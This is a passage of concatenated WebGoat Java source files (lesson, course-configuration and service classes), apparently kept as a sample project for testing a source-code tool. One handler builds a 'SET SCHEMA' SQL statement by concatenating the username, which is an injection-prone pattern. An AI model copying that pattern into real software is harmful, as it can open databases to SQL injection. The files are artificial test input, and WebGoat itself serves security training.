You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author nbaars * @version $Id: $Id * @since November 25, 2016 */ @Getter @EqualsAndHashCode @Entity public class Assignment { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; private String name; private String path; @Transient private List hints; private Assignment() { // Hibernate } public Assignment(String name) { this(name, name, new ArrayList<>()); } public Assignment(String name, String path, List hints) { if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) { throw new IllegalStateException( "The path of assignment '" + name + "' overrides WebGoat endpoints, please choose a path within the scope of the" + " lesson"); } this.name = name; this.path = path; this.hints = hints; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Category.java ================================================ package org.owasp.webgoat.container.lessons; import lombok.Getter; /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * * @author Bruce Mayhew WebGoat * @version $Id: $Id * @since October 28, 2003 */ public enum Category { INTRODUCTION("Introduction", 5), GENERAL("General", 100), A1("(A1) Broken Access Control", 301), A2("(A2) Cryptographic Failures", 302), A3("(A3) Injection", 303), A5("(A5) Security Misconfiguration", 305), A6("(A6) Vuln & Outdated Components", 306), A7("(A7) Identity & Auth Failure", 307), A8("(A8) Software & Data Integrity", 308), A9("(A9) Security Logging Failures", 309), A10("(A10) Server-side Request Forgery", 310), CLIENT_SIDE("Client side", 1700), CHALLENGE("Challenges", 3000); @Getter private String name; @Getter private Integer ranking; Category(String name, Integer ranking) { this.name = name; this.ranking = ranking; } @Override public String toString() { return getName(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.container.lessons; import static java.util.stream.Collectors.groupingBy; import java.lang.reflect.Method; import java.lang.reflect.ParameterizedType; import java.util.*; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.ArrayUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.Course; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.util.CollectionUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestMapping; @Slf4j @Configuration public class CourseConfiguration { private final List lessons; private final List assignments; private final Map> assignmentsByPackage; public CourseConfiguration(List lessons, List assignments) { this.lessons = lessons; this.assignments = assignments; assignmentsByPackage = this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName())); } @Bean public Course course() { lessons.stream().forEach(l -> l.setAssignments(createAssignment(l))); return new Course(lessons); } private List createAssignment(Lesson lesson) { var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName()); if (CollectionUtils.isEmpty(endpoints)) { log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle()); return new ArrayList<>(); } return endpoints.stream() .map( e -> new Assignment( e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))) .toList(); } private String getPath(Class e) { for (Method m : e.getMethods()) { if (methodReturnTypeIsOfTypeAttackResult(m)) { var mapping = getMapping(m); if (mapping != null) { return mapping; } } } throw new IllegalStateException( "Assignment endpoint: " + e + " has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or" + " 'ResponseEntity' please consider adding one"); } private boolean methodReturnTypeIsOfTypeAttackResult(Method m) { if (m.getReturnType() == AttackResult.class) { return true; } var genericType = m.getGenericReturnType(); if (genericType instanceof ParameterizedType) { return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0] == AttackResult.class; } return false; } private String getMapping(Method m) { String[] paths = null; // Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are // valid, we need to consider both if (m.getAnnotation(RequestMapping.class) != null) { paths = ArrayUtils.addAll( m.getAnnotation(RequestMapping.class).value(), m.getAnnotation(RequestMapping.class).path()); } else if (m.getAnnotation(PostMapping.class) != null) { paths = ArrayUtils.addAll( m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path()); } else if (m.getAnnotation(GetMapping.class) != null) { paths = ArrayUtils.addAll( m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path()); } else if (m.getAnnotation(PutMapping.class) != null) { paths = ArrayUtils.addAll( m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path()); } if (paths == null) { return null; } else { return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse(""); } } private List getHints(Class e) { if (e.isAnnotationPresent(AssignmentHints.class)) { return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value()); } return Collections.emptyList(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Hint.java ================================================ /*************************************************************************************************** * * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * * Copyright (c) 2002 - 2014 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. * */ package org.owasp.webgoat.container.lessons; import lombok.Value; /** * Hint class. * * @author rlawson * @version $Id: $Id */ @Value public class Hint { private String hint; private String assignmentPath; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java ================================================ package org.owasp.webgoat.container.lessons; import org.owasp.webgoat.container.users.WebGoatUser; /** * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson. */ public interface Initializeable { void initialize(WebGoatUser webGoatUser); } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.container.lessons; import java.util.List; import lombok.Getter; import lombok.Setter; @Getter @Setter public abstract class Lesson { private static int count = 1; private Integer id = null; private List assignments; /** Constructor for the Lesson object */ protected Lesson() { id = ++count; } /** * getName. * * @return a {@link java.lang.String} object. */ public String getName() { String className = getClass().getName(); return className.substring(className.lastIndexOf('.') + 1); } /** * Gets the category attribute of the Lesson object * * @return The category value */ public Category getCategory() { return getDefaultCategory(); } /** * getDefaultCategory. * * @return a {@link org.owasp.webgoat.container.lessons.Category} object. */ protected abstract Category getDefaultCategory(); /** * Gets the title attribute of the HelloScreen object * * @return The title value */ public abstract String getTitle(); /** * Returns the default "path" portion of a lesson's URL. * *

* *

Legacy webgoat lesson links are of the form "attack?Screen=Xmenu=Ystage=Z". This method * returns the path portion of the url, i.e., "attack" in the string above. * *

Newer, Spring-Controller-based classes will override this method to return "*.do"-styled * paths. * * @return a {@link java.lang.String} object. */ protected String getPath() { return "#lesson/"; } /** * Get the link that can be used to request this screen. * *

Rendering the link in the browser may result in Javascript sending additional requests to * perform necessary actions or to obtain data relevant to the lesson or the element of the lesson * selected by the user. Thanks to using the hash mark "#" and Javascript handling the clicks, the * user will experience less waiting as the pages do not have to reload entirely. * * @return a {@link java.lang.String} object. */ public String getLink() { return String.format("%s%s.lesson", getPath(), getId()); } /** * Description of the Method * * @return Description of the Return Value */ public String toString() { return getTitle(); } public final String getId() { return this.getClass().getSimpleName(); } public final String getPackage() { var packageName = this.getClass().getPackageName(); // package name is the direct package name below lessons (any subpackage will be removed) return packageName.replaceAll("org.owasp.webgoat.lessons.", "").replaceAll("\\..*", ""); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonConnectionInvocationHandler.java ================================================ package org.owasp.webgoat.container.lessons; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.sql.Connection; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.security.core.context.SecurityContextHolder; /** * Handler which sets the correct schema for the currently bounded user. This way users are not * seeing each other data and we can reset data for just one particular user. */ @Slf4j public class LessonConnectionInvocationHandler implements InvocationHandler { private final Connection targetConnection; public LessonConnectionInvocationHandler(Connection targetConnection) { this.targetConnection = targetConnection; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { var authentication = SecurityContextHolder.getContext().getAuthentication(); if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser user) { try (var statement = targetConnection.createStatement()) { statement.execute("SET SCHEMA \"" + user.getUsername() + "\""); } } try { return method.invoke(targetConnection, args); } catch (InvocationTargetException e) { throw e.getTargetException(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonInfoModel.java ================================================ package org.owasp.webgoat.container.lessons; import lombok.AllArgsConstructor; import lombok.Getter; /** * LessonInfoModel class. * * @author dm * @version $Id: $Id */ @Getter @AllArgsConstructor public class LessonInfoModel { private String lessonTitle; private boolean hasSource; private boolean hasSolution; private boolean hasPlan; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItem.java ================================================ /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. */ package org.owasp.webgoat.container.lessons; import java.util.ArrayList; import java.util.List; /** * LessonMenuItem class. * * @author rlawson * @version $Id: $Id */ public class LessonMenuItem { private String name; private LessonMenuItemType type; private List children = new ArrayList<>(); private boolean complete; private String link; private int ranking; /** * Getter for the field name. * * @return the name */ public String getName() { return name; } /** * Setter for the field name. * * @param name the name to set */ public void setName(String name) { this.name = name; } /** * Getter for the field children. * * @return the children */ public List getChildren() { return children; } /** * Setter for the field children. * * @param children the children to set */ public void setChildren(List children) { this.children = children; } /** * Getter for the field type. * * @return the type */ public LessonMenuItemType getType() { return type; } /** * Setter for the field type. * * @param type the type to set */ public void setType(LessonMenuItemType type) { this.type = type; } /** * addChild. * * @param child a {@link LessonMenuItem} object. */ public void addChild(LessonMenuItem child) { children.add(child); } @Override public String toString() { StringBuilder bldr = new StringBuilder(); bldr.append("Name: ").append(name).append(" | "); bldr.append("Type: ").append(type).append(" | "); return bldr.toString(); } /** * isComplete. * * @return the complete */ public boolean isComplete() { return complete; } /** * Setter for the field complete. * * @param complete the complete to set */ public void setComplete(boolean complete) { this.complete = complete; } /** * Getter for the field link. * * @return the link */ public String getLink() { return link; } /** * Setter for the field link. * * @param link the link to set */ public void setLink(String link) { this.link = link; } public void setRanking(int ranking) { this.ranking = ranking; } public int getRanking() { return this.ranking; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonMenuItemType.java ================================================ /*************************************************************************************************** * * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * * Copyright (c) 2002 - 2014 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. * */ package org.owasp.webgoat.container.lessons; /** * LessonMenuItemType class. * * @author rlawson * @version $Id: $Id */ public enum LessonMenuItemType { CATEGORY, LESSON, STAGE } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/lessons/LessonScanner.java ================================================ package org.owasp.webgoat.container.lessons; import java.io.IOException; import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.regex.Pattern; import lombok.Getter; import lombok.extern.slf4j.Slf4j; import org.springframework.core.io.support.ResourcePatternResolver; import org.springframework.stereotype.Component; @Component @Slf4j public class LessonScanner { private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$"); @Getter private final Set lessons = new HashSet<>(); public LessonScanner(ResourcePatternResolver resourcePatternResolver) { try { var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*"); for (var resource : resources) { // WG can run as a fat jar or as directly from file system we need to support both so use // the URL var url = resource.getURL(); var matcher = lessonPattern.matcher(url.toString()); if (matcher.matches()) { lessons.add(matcher.group(1)); } } log.debug("Found {} lessons", lessons.size()); } catch (IOException e) { log.warn("No lessons found..."); } } public List applyPattern(String pattern) { return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/EnvironmentService.java ================================================ package org.owasp.webgoat.container.service; import lombok.RequiredArgsConstructor; import org.springframework.context.ApplicationContext; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController("/environment") @RequiredArgsConstructor public class EnvironmentService { private final ApplicationContext context; @GetMapping("/server-directory") public String homeDirectory() { return context.getEnvironment().getProperty("webgoat.server.directory"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/HintService.java ================================================ /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package org.owasp.webgoat.container.service; import java.util.Collection; import java.util.List; import org.owasp.webgoat.container.lessons.Assignment; import org.owasp.webgoat.container.lessons.Hint; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.session.WebSession; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * HintService class. * * @author rlawson * @version $Id: $Id */ @RestController public class HintService { public static final String URL_HINTS_MVC = "/service/hint.mvc"; private final WebSession webSession; public HintService(WebSession webSession) { this.webSession = webSession; } /** * Returns hints for current lesson * * @return a {@link java.util.List} object. */ @GetMapping(path = URL_HINTS_MVC, produces = "application/json") @ResponseBody public List getHints() { Lesson l = webSession.getCurrentLesson(); return createAssignmentHints(l); } private List createAssignmentHints(Lesson l) { if (l != null) { return l.getAssignments().stream().map(this::createHint).flatMap(Collection::stream).toList(); } return List.of(); } private List createHint(Assignment a) { return a.getHints().stream().map(h -> new Hint(h, a.getPath())).toList(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LabelDebugService.java ================================================ /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. */ package org.owasp.webgoat.container.service; import java.util.Map; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.session.LabelDebugger; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; /** * LabelDebugService class. * * @author nbaars * @version $Id: $Id */ @Controller @Slf4j @AllArgsConstructor public class LabelDebugService { private static final String URL_DEBUG_LABELS_MVC = "/service/debug/labels.mvc"; private static final String KEY_ENABLED = "enabled"; private static final String KEY_SUCCESS = "success"; private LabelDebugger labelDebugger; /** * Checks if debugging of labels is enabled or disabled * * @return a {@link org.springframework.http.ResponseEntity} object. */ @RequestMapping(path = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) public @ResponseBody ResponseEntity> checkDebuggingStatus() { log.debug("Checking label debugging, it is {}", labelDebugger.isEnabled()); Map result = createResponse(labelDebugger.isEnabled()); return new ResponseEntity<>(result, HttpStatus.OK); } /** * Sets the enabled flag on the label debugger to the given parameter * * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object * @return a {@link org.springframework.http.ResponseEntity} object. */ @RequestMapping( value = URL_DEBUG_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE, params = KEY_ENABLED) public @ResponseBody ResponseEntity> setDebuggingStatus( @RequestParam("enabled") Boolean enabled) { log.debug("Setting label debugging to {} ", labelDebugger.isEnabled()); Map result = createResponse(enabled); labelDebugger.setEnabled(enabled); return new ResponseEntity<>(result, HttpStatus.OK); } /** * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object * @return a {@link java.util.Map} object. */ private Map createResponse(Boolean enabled) { return Map.of(KEY_SUCCESS, Boolean.TRUE, KEY_ENABLED, enabled); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LabelService.java ================================================ /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. */ package org.owasp.webgoat.container.service; import java.util.Properties; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.i18n.Messages; import org.owasp.webgoat.container.i18n.PluginMessages; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * LabelService class. * * @author zupzup */ @RestController @Slf4j @RequiredArgsConstructor public class LabelService { public static final String URL_LABELS_MVC = "/service/labels.mvc"; private final Messages messages; private final PluginMessages pluginMessages; /** * @return a map of all the labels */ @GetMapping(path = URL_LABELS_MVC, produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public ResponseEntity fetchLabels() { var allProperties = new Properties(); allProperties.putAll(messages.getMessages()); allProperties.putAll(pluginMessages.getMessages()); return new ResponseEntity<>(allProperties, HttpStatus.OK); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonInfoService.java ================================================ package org.owasp.webgoat.container.service; import lombok.AllArgsConstructor; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.lessons.LessonInfoModel; import org.owasp.webgoat.container.session.WebSession; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * LessonInfoService class. * * @author dm * @version $Id: $Id */ @RestController @AllArgsConstructor public class LessonInfoService { private final WebSession webSession; /** * getLessonInfo. * * @return a {@link LessonInfoModel} object. */ @RequestMapping(path = "/service/lessoninfo.mvc", produces = "application/json") public @ResponseBody LessonInfoModel getLessonInfo() { Lesson lesson = webSession.getCurrentLesson(); return new LessonInfoModel(lesson.getTitle(), false, false, false); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonMenuService.java ================================================ /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. */ package org.owasp.webgoat.container.service; import java.util.ArrayList; import java.util.Comparator; import java.util.List; import java.util.Map; import lombok.AllArgsConstructor; import org.owasp.webgoat.container.lessons.Assignment; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.lessons.LessonMenuItem; import org.owasp.webgoat.container.lessons.LessonMenuItemType; import org.owasp.webgoat.container.session.Course; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.LessonTracker; import org.owasp.webgoat.container.users.UserTracker; import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; /** * LessonMenuService class. * * @author rlawson * @version $Id: $Id */ @Controller @AllArgsConstructor public class LessonMenuService { public static final String URL_LESSONMENU_MVC = "/service/lessonmenu.mvc"; private final Course course; private final WebSession webSession; private UserTrackerRepository userTrackerRepository; @Value("#{'${exclude.categories}'.split(',')}") private List excludeCategories; @Value("#{'${exclude.lessons}'.split(',')}") private List excludeLessons; /** * Returns the lesson menu which is used to build the left nav * * @return a {@link java.util.List} object. */ @RequestMapping(path = URL_LESSONMENU_MVC, produces = "application/json") public @ResponseBody List showLeftNav() { List menu = new ArrayList<>(); List categories = course.getCategories(); UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); for (Category category : categories) { if (excludeCategories.contains(category.name())) { continue; } LessonMenuItem categoryItem = new LessonMenuItem(); categoryItem.setName(category.getName()); categoryItem.setType(LessonMenuItemType.CATEGORY); // check for any lessons for this category List lessons = course.getLessons(category); lessons = lessons.stream().sorted(Comparator.comparing(Lesson::getTitle)).toList(); for (Lesson lesson : lessons) { if (excludeLessons.contains(lesson.getName())) { continue; } LessonMenuItem lessonItem = new LessonMenuItem(); lessonItem.setName(lesson.getTitle()); lessonItem.setLink(lesson.getLink()); lessonItem.setType(LessonMenuItemType.LESSON); LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); boolean lessonSolved = lessonCompleted(lessonTracker.getLessonOverview(), lesson); lessonItem.setComplete(lessonSolved); categoryItem.addChild(lessonItem); } categoryItem.getChildren().sort((o1, o2) -> o1.getRanking() - o2.getRanking()); menu.add(categoryItem); } return menu; } private boolean lessonCompleted(Map map, Lesson currentLesson) { boolean result = true; for (Map.Entry entry : map.entrySet()) { Assignment storedAssignment = entry.getKey(); for (Assignment lessonAssignment : currentLesson.getAssignments()) { if (lessonAssignment.getName().equals(storedAssignment.getName())) { result = result && entry.getValue(); break; } } } return result; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonProgressService.java ================================================ package org.owasp.webgoat.container.service; import java.util.List; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.RequiredArgsConstructor; import org.owasp.webgoat.container.lessons.Assignment; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; /** * LessonProgressService class. * * @author webgoat */ @Controller @RequiredArgsConstructor public class LessonProgressService { private final UserTrackerRepository userTrackerRepository; private final WebSession webSession; /** * Endpoint for fetching the complete lesson overview which informs the user about whether all the * assignments are solved. Used as the last page of the lesson to generate a lesson overview. * * @return list of assignments */ @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json") @ResponseBody public List lessonOverview() { var userTracker = userTrackerRepository.findByUser(webSession.getUserName()); var currentLesson = webSession.getCurrentLesson(); if (currentLesson != null) { var lessonTracker = userTracker.getLessonTracker(currentLesson); return lessonTracker.getLessonOverview().entrySet().stream() .map(entry -> new LessonOverview(entry.getKey(), entry.getValue())) .toList(); } return List.of(); } @AllArgsConstructor @Getter // Jackson does not really like returning a map of directly, see // http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json // so creating intermediate object is the easiest solution private static class LessonOverview { private Assignment assignment; private Boolean solved; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java ================================================ package org.owasp.webgoat.container.service; import org.owasp.webgoat.container.lessons.Lesson; import org.owasp.webgoat.container.session.WebSession; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; /** * LessonTitleService class. * * @author dm * @version $Id: $Id */ @Controller public class LessonTitleService { private final WebSession webSession; public LessonTitleService(final WebSession webSession) { this.webSession = webSession; } /** * Returns the title for the current attack * * @return a {@link java.lang.String} object. */ @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html") public @ResponseBody String showPlan() { Lesson lesson = webSession.getCurrentLesson(); return lesson != null ? lesson.getTitle() : ""; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java ================================================ /** * ************************************************************************************************* * *

* *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

